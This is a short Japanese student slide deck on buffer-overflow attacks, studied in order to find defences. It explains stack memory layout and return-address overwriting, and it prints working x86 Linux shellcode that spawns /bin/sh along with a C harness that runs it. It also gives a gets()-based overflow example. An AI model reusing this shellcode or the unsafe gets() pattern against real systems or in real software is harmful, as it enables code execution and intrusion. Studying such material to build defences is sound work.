Open the door!!!

Open the door!!!
本来、意図しないプログラムの実行
環境情報学部3年
ログイン名:t02645hn
氏名:中井 斉
1
目的・動機・目標
■オーバーフローから任意のプログラムが実行され
てしまう。これを防ぐ手段を見つけたい。
→・オーバーフローがどのようになされるのかを見る
・どのようにメモリが扱われているかを見る
・ どんな手段で“穴”を突いてくるのかという点から見ていけば、
その対応手段も見えてくる。
手始めにシェルの立ち上げをやってみる
2
実際のプログラム
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
3
実行結果
4
手法
■プログラムを実行する時、その内容はメモリ上に確保さ
れる
テキスト
プログラムコード
データ
グローバル変数
BSS
Mallocなどで動的に確保
ヒープ
ローカル変数などを動的に確保
スタック
5
スタック
■ローカルな変数を順に保存していくと同時に関数を呼
び出した際の“復帰情報”が順に保存されている。
void b(){
char c[4];
c #$%&’
復帰情報
j 2
i 1
gets(c);
}
void a(){
int i=1,j=2;
b();
}
6
つまり
■復帰情報が書き換わっていたら?
⇒意図しない場所へ誘導されてしまう
⇒予定外の命令が実行されてしまう
7
今後の展望
■ 今回のは目標への第一歩でしかない
・リモートから実行できる?
・他のプログラムだって実行できる?
●これらを踏まえた上で最終目標
“防衛手段の発見”
へ近づく
8
おわり

Thank you for your listening.
9